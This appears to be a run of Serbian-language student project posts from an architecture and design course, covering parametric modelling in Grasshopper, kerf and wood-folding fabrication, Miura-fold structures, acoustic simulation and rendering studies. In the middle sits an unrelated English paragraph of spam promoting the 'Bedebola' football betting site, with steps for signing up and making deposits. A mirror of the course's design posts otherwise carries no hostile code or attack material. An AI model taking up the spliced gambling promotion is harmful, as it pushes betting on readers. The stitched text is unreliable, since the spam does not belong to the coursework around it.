Obzirom da izrađujemo navlaku za torbe ili rančeve, može doći do nepravilne i nejednake promene i raspodele samih Arcusa. Negde može doći do sakupljanja, negde do preteranog širenja, a negde se neće dogoditi nikakva promena. Pomoću Bounding Box-a ( BBox) i Evaluate Surface( EvalSrf)  ponovo objedinjujemo sve krive iz ranije razdvojenog TriGrid paterna. Nakon toga, MD Slider komponentom, definišemo dve referentne tačke u prostoru, a zatim Closest Point (CP) komponentom definišemo dve tačke na našoj izabranoj mreži.

Definisanje dve referentne tačke

Definisanjem ovih tačaka kao i definisanjem granica do kojih se Arcusi mogu menjati, mi imamo uvid u to kako će se sama struktura rasporediti po površini ili objektu na koju će biti aplicirana. Menjanjem ovih vrednosti, možemo primetiti kako se svi Arcusi u neposrednoj okolini izabranih tačaka šire, dok se Arcusi koji su dalji od referentnih tačaka, skupljaju.

Nepromenjeni parametri- udaljenost arkusa jedni od drugih je ista u svim tačkama mreže
Promenjeni parametri- možemo primetiti kako je udaljenost arkusa jedni od drugih veća što su arkusi bliži referentnim tačkama, a manja što su arkusi dalji od referentnih tačaka

 

 

 

Proces modelovanja držača za vinske flaše- Faza 2

Proces modelovanja držača za vinske flaše- Faza 2

Kriterijumi koje novonastali držač u odnosu na postojeće interpretacije treba da zadovolji su:

  1. Estetski zadovoljiti zahteve kupaca
  2. Pomoću manje materijala multipliciranjem elemenata dobiti držač koji može da drži 5-8 flaša
  3. Pristupačnija cena

Metod rada: Rhino i Grasshopper i lasersko sečenje

Potrebno je siluetu držača preneti na drvenu ploču debljine 5mm koja se lasersi obradjuje. Tako dobijen element umnožiti određen broj puta kako bi se dobio držač. Ploče treba da se ojačaju na način gde će 3 šipke debljine 1cm prolaziti kroz celu strukturu radi postizanja čvrstoće i kompaktnosti.

II Modelovanje fiksnog fasadnog brisoleja sa rotirajućim otvorima

Pomoću programa Grasshopper modeluje se fiksni brisolej sa kružnim rotirajućim otvorima, čiji se radijusi menjaju prema zadatim points attractors-ima.

Moguće se korigovanje najmanjeg, najvećeg prečnika i ugla rotacije otvora na fasadnom brisoleju.

 

Screenshot 2024-04-12 143101 Screenshot 2024-04-12 143330

f146fb6163b49571ba08ca9976d164b2https://www.pinterest.com/pin/129337820541462197/

Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti

Oblast: Vizualizacija

Tema i predmet: Ispitivanje opažanja boje predmeta pod različitim izvorima svetlosti.

Stanje u oblasti:

The Shirt min

Inspiracija: James Turrell – Skyspace

10_Skyspace_Florian_Holzherr11_Skyspace_Florian_Holzherr12_Skyspace_Florian_Holzherr

Problem: Opažanje boje je subjektivno. Boja predmeta zavisi od svetlosnog izvora pod kojim se posmatra. Ukoliko posmatramo zelenu jabuku u podne i na zalasku sunca ona će nam izgledati iste boje, iako je svetlost pod kojom je posmatramo različita pa samim tim i njena boja.

Cilj: Postizanje efekta promene boje predmeta primenom osvetljenja.

Kriterijum: Mogućnost manipulisanja boje predmeta korišćenjem osvetljenja.

Primenjeni alati i metode: 3dsMax + Vray

Hipoteza: Moguće je primenom adekvatnog osvetljenja promeniti percepciju boje predmeta.

Efikasak način fabrikovanja nakita sa štrasom primenom algoritma part2

Postoje dva pristupa rešavanja problema:

1 ređanje cirkona po konturi slova

kriterijumi – cirkoni treba da prate liniju slova, cirkoni treba da se redjaju jedan do drugog sa što manje praznina, zabranjeno preklapanje cirkona

problem – oblik cirkona, usvojen oblik osmougla zbog rasprostranjenosti, uklapanjem medjusobno i prekriva najveći deo površine slova

  • trougao – problem kod pojedinih slova, potreban veliki broj cikona
  • kvadrat – pojavljivanje krzavih ivica
  • šestouglao – slova poput n i m budu horizontlno  izdužena zbog spoljašnjeg ugla šestougla
  • osmougao – problem kod nekih slova

 

2 redjanje cirkona unitar površine slova

kriterijum – popunjavanje površine slova sa što manje praznina

problem – praznine izmedju cirkona, preklapanje cirkona, pojavljivanje cirkona izvan površine slova

s m

 

dalje traba istražiti uklapanje različitihz oblika cirkona po gridu, rešenje treba da ima što manje slobodne površine ukutar slova

New to online football betting? No worries Bedebola makes it simple, fast, and fun. With an easy-to-use platform and complete features, you’re just a few steps away from placing your first winning bet!

1. Create Your Account

First, register for a free account at Bedebola. Fill in your details accurately, verify via email or phone number, and you’re good to go!

2. Make a Deposit

Top up your account using bank transfer, e-wallets, or mobile credit. The minimum deposit is affordable, and the process is fast and secure.

3. Choose a Match

Head to the Sportsbook section and browse the list of available matches—from the Premier League, Serie A, and Champions League to Asian leagues.

4. Pick Your Bet Type

Select from a variety of bet types: 1X2, Over/Under, Asian Handicap, Mix Parlay, and more. Make sure to check the odds and analyze team performance before locking in your bet.

5. Place Your Bet

Enter your bet amount and confirm your selection. Your bet will be active instantly!

6. Watch & Win

Follow the match live or check real-time scores directly on Bedebola. If your prediction is correct, your winnings will be credited automatically.

 

Parametarsko modelovanje fotografije- Faza 2

Screenshot 2024-04-12 141106

Screenshot 2024-04-12 141157Parametarsko modelovanje fotografije u Grasshopper-u pomoću Voronoi oblika. Na osnovu boja na fotografiji formirani su oblici, na svijetlim dijelovima fotografije oblici su veće površine, dok su na tamnim dijelovima oblici manje površine.

 

 

 

 

Primena anamorfnih reči na zakrivljanim formama – faza II

Metod rada: Rhino + Grasshopper

 

U drugom delu izdvojili smo četiri glavna pitanja koja se javljaju:

1. Kako formirati smislenu strukturu

2. Kako i da li je moguće uklopiti anamorfnu reč u istu, korišćenjem isključivo boje

3. Koja reč je u pitanju

4. O kakvom prosotru govorimo

 

 

1: formiranje strukture

Prvo smo razmotrili o kojoj debljini strukture govorimo (30cm od ravni), zatim debljinu samih slojeva (2cm) i ukupnom broju istih (15), nakon čega smo definisali i konturu svakog sloja kako bi ih potom pojedinačno fabrikovali.

Screenshot 2024-06-25 115503Screenshot_2

Problem: 

Glavni problem bio je što određene krive nisu bile zatvorene na nekim od slojeva koji su presečeni, odnosno, kako napraviti površ od njih?

y

Odlučili smo se da svaki sloj pojedinačno proverimo i dodamo deo krive na onim mestima gde nedostaje, obzirom da je to predstavljalo najlakše rešenje, kako bi na kraju uspeli svaki od njih extrudovati i dobiti solid.

Proces formiranja svakog pojedinačnog sloja:

slojevi

 

Dobijena forma:

ttt

Inspiracija:

e50824f354928167baace7f04979452f

Parametarsko modelovanje senki – Faza 2

Screenshot 2024-04-12 133218 Screenshot 2024-04-12 133242 Screenshot 2024-04-12 133325 Screenshot 2024-04-12 133345 Screenshot 2024-04-12 133405Početak procesa podrazumeva izradu koda koji od izabrane slike izvlači konturu. Potom se uz pomoć tačkastog osvetljenja dobija presek geometrije projektovane na više ravni iz kojih se dobija senka. Zatim delimo dobijenu geometriju na više manjih delova koji se skladno rasporede da bi se dobila željena senka.

 

Faza 2: Modelovanje parametarskih otvora na fasadi u odnosu na senke drveća

U drugoj fazi smo istraživali menjanje veličine otvora na fasadi u zavisnosti od rasporeda drveća. Za modelovanje je korišćen Rhino/Grasshopper.

Metod:

Modelovali smo 4 fasade sa heksagonalnim otvorima:

Screenshot 2024-04-12 124727Potom je modelovan luk koji predstavlja pružanje sunčevih zraka:

Screenshot 2024-04-12 125241

 

U zavisnosti od rasporeda drveća u odnosu na fasadu, menjaju se i otvori na fasadi, tako što na mestima gde je senka drveća najveća se nalaze i najveći otvori.

Screenshot 2024-04-12 130209 Screenshot 2024-04-12 130248

 

Modelovanje panela svetlosti – II Faza

Za modelovanje je koriscen Rhino/Grasshopper.

Za pocetak sam nacrtala pravougaonik odgovarajucih dimenzija.

Nakon toga na njemu je odradjen grid i upotreba trougaonih panela iz LunchBoxa kako bi se dobili okviri.

Potom je postavljen Point oko kog su random ukidani/otvarani trougaoni paneli.

Da bi se dodala debljina tih panela koriscen je Loft.

Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 2

Ispitivanje ponašanja materijala kroz različite šablone zasecanja (wood folding)

Uzorci pločice dimenzija 19x19cm (lepenke 2mm i medijapan 2,5mm) se zasecaju po istom šablonu i uporedno analiziraju. Glavni kriterijumi po kojima se ocenjuje kvalitet datog materijala :

  1. fleksibilnos materijala
  2. lakoća obrade
  3. estetske karakteristike

korišćeni šabloni:

2šablon 1 – vertikalni prorezi na 0,5 cm

šablon2šablon2a1šablon 2- vertikalni prorezi na 1 cmšablon 1šablon1a3šablon 3- kosi prorezi na 1 cm

 

 

 šablon3šablon 4

4šablon 4 – kosi prorezi na 2 cm

sblon5ašablon5

Zaključak analize ponašanje materijala:

Lepenka je zahvalniji materijal u pogledu fleksibilnosti i obrade materijala (lakše se seče, ne ostaju veliki tragovi sečenja, elastičnija je te se lakše oblikuje, teže dolazi do preloma, lomljenja ili cepanja materijala…) međutim, na polju boje i teksture medijapan je bolji izbor.

Ispitivanje načina savijanja lepenke (wood folding):

Na osnovu prethodno pomenute analize za sledeće istraživanje odabrana je lepenka.

  • Ukoliko ploču zasecamo pravim linijama (bile one paralelne naspramnim ivicama ploče ili ne) omogućićemo savijanje ploče u pravcu koji je normaran na pravac zasečenih linija.

22

  • Izlomljene prave dozvoljavaju manji stepen savijanja u odnosu na neizlomljene prave (dolazi do listanja slojeva materijala ukoliko previše savijamo ploču).

savijanje1

  • U zavisnosti od gustine zasečenih linija ploča će biti više ili manje fleksibilna. Ova osobina se može iskoristiti kada želimo postići neki drugi oblik cilindra na primer, eliptični cilindar. Potrebno je gušće zarezati ploču na mestima gde je potrebna veća zakrivljenost figure.

poređenje

  • Na sledećoj slici uočićemo da iako zarežemo ploču krivama, ploča će ponovo prilikom savijanja težiti geometrijskoj figuri cilindra, sve dok su krive ujednačenog pravca (prva ploča sa sllike). Ploča će se slabije savijati u koliko je zarezujemo krivama. Na drugoj ploči sa slike isečeni su dublji prorezi  što je omogućilo veću fleksibilnost, međutim ovakav pristup nije dobar jer se ploča lako može raspasti zbog previše tankih spojeva. Kod treće ploče se ne stiče utisak da prilikom savijanja formira oblik cilindra jer je zasečena krivama koje veoma odstupaju od originalnog pravolinijskog pravca zasecanja. Ovakav pristup je jedan od najefikasnijih jer ne zahteva velike pripreme i sadrži širok spektar oblika koji se mogu upotrebiti kako bi se stekao utisak da figura nije pravilan cilindar. Kako ne bi došlo do listanja delova ploče i njenog raspadanja, potrebno je na napraviti prsten na krajevima ploče sa prorezima koji su normalni na ivicu ploče.

krivekrive 2

  • Pretpostavka da se od ravne ploče nekog krutog materijala, pomoću wood folding tehnike može formirati bilo kakva dvostruko zakrivljena površ ili figura slobodne forme, nije tačna. Mogćnost da površ bude dvostruko zakrivljena isključivo zavisi od osobina materijala od kojih je površ napravljena. Na sledećem primeru vidimo da je lepenka bez proreza dovoljno elastična da dobije isti oblik kao i ploča sa prorezima.

krive nasumičnonasumične krive 2

Drugi dokaz da pretpostavka nije tačna

  • Koristeći tutorijal sa linka: https://www.instructables.com/Curved-Kerf-Bending-Part-2/
  • Modelovane su 2 različite zakrivljene površi. Prva dvostruko i druga jednostruko zakrivljena površ. U slučaju dvostruko zakvljene površi program je izbacio obaveštenje da ne može verodostojno da razvije površ.

Screenshot 2024-04-01 145832 Dvostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Screenshot 2024-04-01 150418

 

Jednostruko zakrivljena površ, njena razvojna forma i šablon sečenja.

Modelovanje integrisane zidne lampe, inspirisane srpskom sakralnom arhitekturom, u 3ds Max-u, sa fokusom na izradu detalja, elementa urušenog zida-Faza 2

Na osnovu istraživanja detaljnosti i strukture postojećih lampi, zaključujemo da je potreban velik nivo detaljnosti, na milimetarskom nivou, samo na delovima gde želimo predstaviti urušavanje zida, dok ostali elementi mogu biti jednostavniji. Takođe od ključne je važnosti dobro izabrati segment objekta koji želimo da prikažemo i ispitati najbolju kompoziciju.

las sola 3-1 las sola 3-2

Praktični deo-izrada u 3ds max-u

  1. Ubacivanje osnove i preseka i referentnih fotografija .
  2. Modelovanje osnovne geometrije (box, cylinder,tube) i otvora (compound objects, proboolean, subtraction).

Prva dva koraka se preskaču ukoliko postoji gotov 3D model manastira.

  1. Pozicioniranje osvetljenja (led sijalice) i ubacivanje lampe bez detalja u prethodno napravljenu šupljinu u zidu, kako bi se lakše odradio sledeći korak.
  2. Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena).
  3. Pozicioniranje kamere i izrada rendera.

 

-Dodavanje elemenata i detalja u vidu urušenog zida i teksture stene (kamena)

Primenjene metode:

Metoda 1

Modelovanje unutrašnjosti uz pomoć alatki tessellate i paint deformation brush (push/pull). Model enterijera ili eksterijera objekta je dodat nakon ovog koraka.

  • Mogu se dobiti dobri rezultati ali uz puno truda i napora, veoma spor proces.
  • Utiče na okolnu geometriju, neophodno je veće planiranje prvobitne bazne geometrije.

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

 

Prikaz primene metode 1 na gotovom modelu manastira:

render 3

Metoda 2

Modelovanje kamena i korišćenje operacije proboolean kako bi se oduzeo deo geometrije.

Kamen (low poly rock) je dobijen na sledeći način: box je zaobljen pomoću turbosmooth-a, određen je broj iteracija, a zatim je dodat i displace (map:general-cellular).

box,turbosmooth, displace

 

Prikaz primene metode 1 na jednostavnoj geometriji kocke:

22

Modelovanje i fabrikacija drvenih konstrukcija pomuću “japanese joinery”-a na brži i moderniji način – faza 2

Urađena je analiza određenih vrsta spojeva, pomoću kojih je napravljen sto od 3 vrsta spojeva. Sve spojeve je moguće podeleliti po horizontali na 3 dela što olakšava kasniju fabrikaciju. Sama analiza je rađena u Sketchup-u sobzirom na jednostavnost geometrije u “japanese joinery”-u

3 4 5 Screenshot 2024-04-01 101036 Screenshot 2024-04-01 102207 68

Za dalju analizu bilo bi neophodno pronaći spojeve koji su pod određenim uglom sobzirom da bi to doprinelo stabilnosti konstrukcije stola, kao i još različitih spojeva koji bi se mogli podeliti na 3 dela po horizontali i možda bili stabilniji.

Bilo bi zanimljivo uraditi i analizu stabilnosti određenih spojeva, poput ovog koji je ispod označen.

7

 

Modelovanje slagalica na osnovu Hilbertove krive (Fractal Puzzles) – faza 2

Druga faza rada na projektu odnosila se na modelovanje same Hilbertove krive i pokušaja da se uspostavi logika samog multipliciranja iste.

Krenulo se od toga da se napravi jedan deo od 3 ivice koji će se skalirati i rotirati, kao i na kraju spojiti i dobiti jedan deo krive. Na kraju se ti delovi multipliciraju i rotiraju kao deo krive.

slika 2

Kao metoda za pravljenje je isproban i mirror kako bi se dobili delovi krive i koji bi se kasnije spojili u jednu celu krivu.

slika 3

 

Kako slagalica ne bi morala da se pravi manuelno, postupak se primenio u Grasshopper-u. Kako je problem predstavljala sama izrada krive, krenulo se od kvadarata kojem se mogu menjati dimenzije u zavisnosti kojih dimenzija želimo da bude slagalica. Zatim su uzeta temena kvadrata, uradjen scale, i tim novim tačkama dobijeni centri novih kvadrata.

Uz pomoć Grasshopper plugin-a Anemone ovaj postupak se može ponavljati koliko god želimo puta.

interacija 1interacija 2

Pomoću numeracije tačaka se na kraju tačke spajaju i prave zadatu krivu.

interpolacija krive

 

Proces modelovanja i fabrikacije drvene geometrijske zidne dekoracije F2

FAZA 2

Modelovanje mozaičnih formi korišćenjem Grasshopper-a i potraga za smislenim idejnim rešenjem. Kreirana je površ kojoj je dodeljena debiljina i kodom smo zadali određeni broj linija koji je ću površ podeliti na manje delove. Zatim zadali smo da se kreiraju nove linije paralelne i/ili upravne sa početnim, odredili njihovu gustinu i debljinu. Kao rezultat dobili smo strukturu koja zadovoljava samu definiciju ali ne i estetiku.

 

Screenshot 2024-04-01 142926

Screenshot 2024-04-01 142808

Screenshot 2024-04-01 142750

 

Modelovanje jednodelne rasklopive drvene strukture primenom Miura folda – faza 2

11 2 3 4 5 6 7

Početak procesa podrazumeva izradu panela, koji će činiti jedan šablon sastavljen iz 4 takva dela, pod izabranim uglom. Počevši od dve tačke, jedna je teme pravougaonika, a druga polovina duže stranice, formiramo ivicu panela koju nakon toga kopiramo i rotiramo pod odredjenim uglom tako da tačka koja se nalazi na polovini duže stranice pravougaonika bude zajednička za obe ivice. Od te dve ivice se formira paralelogram koji se kopira nadovezujuci se na početni paralelogram, nakon čega se oni miroruju kako bi se dobio šablon za rad.

Na takvom šablonu se biraju mountain i valley ivice, po principu Miaura fold tehnike, koje se ispupče ili uvuku u zavisnosti od odabira. Dobijenu strukturu guramo da se sklopi, što kao papirni model funkcioniše. Posle dodavanja debljine strukturi, primecujemo nepravilnosti u odredjenim delovima.

 

Kreiranje 3D scene izvedene iz 2D slike na što jednostavniji način – faza 2

Kako bismo stvorili iluziju trodimenzionalnog prostora iz 2D slike na što jednostavniji način, prvo je izdvojena jednostavna slika kao primer metode rada.

Untitled-1

Fotografija je podeljena na segmente u zavisnosti od pravca prostiranja ravni. Pozadina i podloga su takođe izdvojene.

Screenshot 2024-06-27 144941

Prvobitna ideja je bila da se ravni koje se prostiru u istom pravcu samo izdvoje zajedno, a zatim tako ubace u Blender. Međutim, ovaj metod ne funkcioniše jer se ravni nalaze na drugom mestu u prostoru i trodimenzionalnost se u ovom slučaju ne može postiči.

ezgif.com-crop

Uzimajući ovo u obzir, potrebno je da dodamo još jedan korak – isecanje svake pojedinačne stranice svakog elementai ubacivanje u Blender.

Screenshot 2024-06-27 085810

Screenshot 2024-06-27 085645
svaku stranicu svakoig elementa pojedinačno eksportujemo kao png
process
sastavljanje pojedinačnih stranica elemenata

Ovim dobijamo dovoljno ubedljiv 3D efekat (ili više 2.5D) , a ovaj metod može se iskoristiti i na malo složenijim scenama, u određenoj meri. Postoji mogućnost da neke ravni fale na nekoj fotografiji/ crtežu kao posledica skraćenja i ugla slike. U ovom slučaju se delovi koji fale mogu ili na neki način dodati, ili sakriti u sceni u koliko ih je nemoguće dodati.

ezgif.com-crop (1)

 

Modelovanje 3d fraktalne geometrije – faza 2

Metoda rada:
Isprobani su algoritmi u Grashopperu : “Game of life” , cellular automata i agregatnih sistema  za generisanje fraktala. Narednog puta treba pronaci nacin uskladjivanja ova 3 metoda zbog efikasnosti i dobijanja optimalnog rezultata.

Screenshot 2024-04-01 121710 Screenshot_1

Modelovanje zakrivljenih površi i njihova fabrikacija od lepenke – faza 1

OBLAST: Modelovanje i fabrikacija

PREDMET: Zakrivljene povši koje se mogu dobiti od ravnih površi primenom različitih tehnika tokom fabrikacije.

TEMA: Modelovanje i zabrikacija zakrivljenih povši koje se mogu dobiti od ravnih površi primenom različitih tehnika

STANJE U OBLASTI: Zbog jednostavnije proizvodnje, skladištenja ili trasporta veliki broj materijala poput drveta, metala ili raznih vrsta plastika na tržištu se mogu pronaći isključivo u obliku ravanskih površi (ploča). Ovo pretstavlja problem kada nam je potrabna zakrivljena površ. Materijali se u zavisnosti od svoji fizičkih osobina mogu savijati na različite načine. Kod drveta najčešće se koriste tehnike graviranja, zasecanja i sečenja na CNC mašinama (lasersko sečenje) kako bi se dobila zakrivljena površ. Dve tehnike koje su se najčešće spominjale tokom mog istraživanja jesu wood folding/ kerf folding i kerf bending. Veoma su slične i često se spominju u istom kontekstu pa sam izdvojila jednu od glavinih razlika koju sam primetila tokom istraživanja.

Wood folding je metoda zasecanja poloče na mestima gde je potrebno da se ploča savije. Linije (zaseci) najviše zavise od efekta ili oblika koji želite da postignete. Najčešće se koristi za tanje, fleksibilnije materijale, kada je u pitanju fabrikacija manjih dekorativnih elemenata u enterijeru i slično.

Kerf bending tefnika sečenja drveta jeste metoda sečenja i izostavljanja delova ploče po određenim šablonima. Neki od šablona koji se najčešće koriste su: straight line cut, wavy line cut, fillet lattice, beehive lattice, bastian latice, bending along a curve… Ova tehnika najčešće se koristi kada je potrebno saviti ploče velikih dimenzija ili debljine, za ograde, nameštaj, paviljone, nadstrešnice i slično.

Obe metode odlično funkcionišu za fabrikaciju jednostruko zakrivljenih površi. Za razliku od jednostruko zakrivljenih površi na fabrikaciju dvostruko zakrivljenih površi utiču različiti faktori poput osobina materijala (krutost) ili šablon zasecanja koji se koriti.  Pored šablona za jednostruko zakrivljene površi postoje šabloni i metode koji formiraju dvostruko zakrivljene povši (bending along a curve). Na sledećem liku možete videti dalje objašnjenje, primere i tutorijal za formiranje dvostruko zakrivljenih površi:  https://www.instructables.com/Curved-Kerf-Bending-Part-2/.

šabloni zasecanja drveta
Različiti šabloni “kerf bending” tehnike sečenja drveta

Slika preuzeta sa: https://www.instructables.com/Curved-laser-bent-wood/

PROBLEM:

  1. Tokom istraživanja nije pronađeno dovoljno informacija o tehnici wood folding, što dovodi do pitanja kakve se sve površi i figure sumogu formirati pomoću ove tehnike i da li se pomoću nje može formirati dvostruko zakrivljena površ.
  2. Tokom fabrikacije zakrivljenih formi može doći do promene u geometriji.

CILJ: Proveriti mogućnosti “wood folding” tehnike tokom modelovanja i fabrikovanja abažura lampe.

KRITERIJUM: Napraviti prototip zakrivljene površi koja tokom fabrikacije ne gubi geometriju, ostaje identična 3D modelu.

PRIMENJENI ALATI: Rhnio + Grasshopper + fabrikacija

HIPOTEZA: Moguće je fabrikovati dvostuko zakrivljne površi pomoću “wood folding” tehnike savijanja drveta bez gubitka ili deformisanja geometrije 3D modela.

Modelovanje i vizuelizacija Metropolitan church

Oblast: Modelovanje i vizualizacija kenotafa za Isaka Njutna.

Tema: Njutnov kenotaf je struktura koja na svojoj sferi ima male supljine, kroz koju bi prolazila svetlost tokom dana i u unutrasnjosti objekta bi davala iluziju svemira, dok bi tokom noci, u unutrasnjosti same strukture, postojao veliki okrugao izvor svetlosti, koji bi u unutrasnjosti davao iluziju da je dan.

01---Cenotaph02---Cenotaph04---Cenotaph

Stanje u oblasti: U istrazivanju ove oblasti pronasao sam par zavrsenih primera izmodelovanog kenotafa koji moze da se pogleda ovde:
https://paralaksa.blog/kenotaf-za-njutna/
https://www.femmefatale.paris/project/cenotaphe-newton-vr

 

Problem: Ne postoji veliki broj primera kako je mogao u stvarnosti da izgleda kenotaf.

Cilj: Docarati velicinu prostora unutar i van kenotafa.

Kriterijum: Modelovanje kenotafa da bude sto vise realistican.

Metoda: Izmodelovati kenotaf u skecapu ili 3ds maxu, i izrada fotorealisticnih prikaza u lumionu, vray ili koroni. Primena anketa izmedju koriscenja headseta ili telefona za sagledavanje prostora kenotafa.

Hipoteza: Ljudi nemaju svest o tome koliko je Kenotaf zapravo bio veliki objekat.

*Ažurirani projekat/avgust 2024.

Oblast: Modelovanje i vizualizacija Metropolitan church.

Tema:  Metropolitan Church je monumentalna struktura Luja Buljea koja spaja klasične elemente sakralne arhitekture sa njegovim karakterističnim pristupom monumentalnosti. Crkva je zamišljena kao ogromna katedrala sa visokim svodovima i masivnim stubovima, koji stvaraju osećaj veličine i beskonačnosti.

Stanje u oblasti: U istrazivanju ove oblasti pronasao sam izvore informacija, o ovom objektu, koji su uglavnom bili fokusirani na objašnjavanju Lujevog koncepta stvaralaštva. Te objave možete videti ovde :
https://passerelles.essentiels.bnf.fr/fr/chronologie/construction/d912d2bc-c346-45b4-a3a8-15de4d848ce9-opera-boullee/article/29e020f1-adcd-44ca-8054-9d6b9265ce51-etienne-louis-boullee-architecte-lumieres

https://steemit.com/art/@journeytothetop/louis-etienne-boullee-and-the-idea-of-revolutionary-architecture

https://issuu.com/tommothomas/docs/2907eng-etienne-louis-boulee-booklet.pptx

https://steemit.com/art/@journeytothetop/louis-etienne-boullee-and-the-idea-of-revolutionary-architecturehttps://steemit.com/art/@journeytothetop/louis-etienne-boullee-and-the-idea-of-revolutionary-architecturehttps://steemit.com/art/@journeytothetop/louis-etienne-boullee-and-the-idea-of-revolutionary-architecturehttps://steemit.com/art/@journeytothetop/louis-etienne-boullee-and-the-idea-of-revolutionary-architecture

Problem: Ne postoji nijedan primer 3d modela i VR vizualizacije za objekat Metropolitan church  sa kojim može da se prikaže veličina i estetika enterijera i eksterijera.

Cilj: Docarati velicinu prostora unutar i van crkve.

Kriterijum: Modelovanje crkve da bude što detaljnije moguće.

Metoda: Izmodelovati kenotaf u skecapu ili 3ds maxu, i izrada fotorealisticnih prikaza u lumionu, vray ili koroni. Primena anketa izmedju koriscenja headseta ili telefona za sagledavanje prostora kenotafa.

Hipoteza: Ljudi nemaju svest o tome koliko je Metropolitan church zapravo bio veliki objekat.

Simulacija prostiranja zvuka u holu FTN-a sa i bez akustičnih panela – FAZA1

OBLAST: Akustika u enterijeru – ispitivanje prostiranja zvuka u prostoru i primena akustičnih panela za smanjenje reverberacije

STANJE U OBLASTI: Akustični paneli na zidovima i plafonu u raznim prostorima su sve moderniji i zastupljeniji u savremenim rešenjima enterijera. Akustika prostorije predstavlja važnu temu za razmišljanje, jer dobro rešena akustičnost doprinosi ugodnijem boravku u pomenutom prostoru. Danas postoje razna rešenja koja, ne samo da poboljšavaju zvučni kvalitet prostora, već i doprinose estetskom kvalitetu.

CILJ I KRITERIJUMI: Ispitati prostiranje zvuka u holu FTN-a (u delu kod čitaonice, zadi regulacije odjeka). Prvo odraditi simulaciju zvuka bez akustičnih panela, a potom sa.

METODA: Modelovanje panela može da se uradi u 3ds max-u, a nakon toga da se ubaci u Rhino i poveže sa kodom. Treba uporostiti geometriju 3D modela hola FTN-a, kako bi kod mogao da procesuira oblik i uspostavi simulaciju. Kranji korak je upotreba plugin-a u grasshopperu “Pachyderm acoustic simulation” kojim će se ispitati prvo zvuk u praznom holu, a potom u holu sa panelima.

HIPOTEZA: Upotrebom adekvatnog oblika akusticnih panela u adekvatnom delu prostorije, doći će do smanjenja reverberacije.

Inspiracija za geomteriju akustičnih panela:

PANEL 5

primer simulacije zvuka iz Youtube tutorijala:

primer

 

 

mapa uma

Primena anamorfnih reči na zakrivljenim formama – faza I

Anamorfoza je prilagođena projekcija ili perspektiva crteža, slike, skulpture, ili bilo koje druge izvođačko prezentacione, likovno umetničke tehnike koja zahteva od gledaoca da koristi posebne uređaje ili zauzme određenu tačku u prostoru kako bi mogao da sagleda ili doživi predstavljeni likovni, izvođački, umetnički sadržaj.

https://dizajnproizvoda.wixsite.com/studio-17/single-post/2013/01/03/anamorfoza

Oblast – Modelovanje i fabrikacija

Tema – Modelovnje i fabrikacija karakterističnih panela u enterijeru, koji svojim slaganjem i ređanjem, omogućavaju sagledavanje anamorfne reči odnosno poruke koja je  upućena gledaocu, posetiocu, prolazniku.

Stanje u oblasti – Osim reči, često se koriste i 3D strukture u prostoru, zatim razne instalacije kao i vizuelno-estetski momenti u vidu apstraktnih geometrijskih formi koje doprinose oplemenjivanju nekog prostora

Screenshot 2024-03-30 135738https://www.tenfoldbrand.com/portfolio/biglots?itemId=if1rrz0wfotl6qq8jz9gh4bee6u010

597d-art.jpg

https://dizajnproizvoda.wixsite.com/studio-17/single-post/2013/01/03/anamorfoza

1200 Black Ping Pong Balls Form a Deadly Assault Rifle

 

Kriterijumi

– Da li je moguće izvesti ovakvu strukturu koriščenjem isključivo metode slaganja slojeva jedno na drugo?

– Da li je moguće projicirati reč pod određenim uglom na ovakvu strukturu?

Cilj – Formirati interesantnu strukturu koja će istovremeno sadržati i poruku u sebi

Hipoteza – Moguće je dobiti zanimljiva rešenja oblikovanja nekog prostora koji će osim estetske, imati i dodatnu funkciju

Modelovanje samonosive zakrivljene strukture

Oblast: Samonosive strukture

Tema: Modelovanje samonosive zakrivljene strukture

Stanje u oblasti:

Bricktopia- Map13, Barcelona 2013.

Bricktopia

FaBRICKate- ADAPt Architects, Isfahan 2016.

1

Armadillo Vault- ETH Zurich’s Block Research Group, Venice Architecture Biennale 2016.

3

Funicular Funnel Shells – Rippmann Matthias and Block Philippe, 2013.

funicularfunnel_vaultmodel_picture_nervimodel_022_1425051452_960x540

funicularfunnel_vaultmodel_picture_nervimodel_023_1425051485_960x540

Problem: Pronalaženje forme tako da struktura bude samonosiva i odabir geometrije elemenata tako da se što adekvatnije uklapaju.

Zidane zakrivljene forme(svodovi, svodne tavanice…) primenjivane su u istoriji arhitekture uprkos poteškoćama pri izvođenju. Cilj je istražiti mogućnosti digitalnog dizajna kako bi se proces formiranja samonosivih zakrivljenih struktura olakšao i prilagodio savremenim tehnikama i materijalima. Potrebno je sagledati kriterijume: funkcionalnost, stabilnost i estetika strukture.

Alati i metode: Rhino, Grasshopper, RhinoVault

Hipoteza: Koliko je zahtevno pronaći rešenje dizajna i fabrikacije samonosivih zakrivljenih formi?

Modelovanje jednodelne rasklopive drvene strukture primenom Miura folda

Oblast: modelovanje

Predmet: jednodelna rasklopljiva struktura

Tema: primena origami paterna na drvene rasklopljive forme u cilju efikasnijeg prenosa

Stanje u oblasti: Primena origamija na krutim materijalima se bazira na korišćenju odredjenih paterna i povezivanju panela razlicitim spojnicama. Najčešće su strukture sastavljene iz više delova i nisu u celosti pokretljive, već samo neki od delova.ORIGAMI_35  Synegic-Uenoa-Origami-Beitrag02

Problem: Problem nastaje zbog nedovoljne fleksibilnosti drveta i debljine panela

Cilj: rasklopljiva drvena struktura iz jednog dela

Kriterijum: sklopivost pojedinačnih elemenata

Primenjeni alati i metode: Miura fold i grasshopper

Hipoteza: Primenom Miura folda i pokretljivih spojnica na drvenom panelu određene debljine, moguće je izraditi po potrebi pokretljivu jednodelnu strukturu

Poređenje modelovanih rendera i AI rendera

Oblast:

Vizuelizacija

Tema:

Upoređivanje rendera iz Corone i rendera koje je generisala veštačka inteligencija.

Predmet:

Renderi

Stanje u oblasti

Ova oblast je u velikoj meri dostupna svima, u poslednje vreme je otpočela ekspanzija korišćenja veštačke inteligencije. Samim tim je potencijalo postala pretnja nekim zanimanjima u oblasti dizajna. Postoji mnogo programa i sajtova u kojima je moguće dobiti odlične rezultate pomoću AI, neki od njih su sajtovi Fabrie  (https://www.fabrie.com/), Firefly Adobe (https://www.adobe.com/in/products/firefly.html), Visoid (https://app.visoid.com/), Midjourney (https://docs.midjourney.com/docs/terms-of-service)

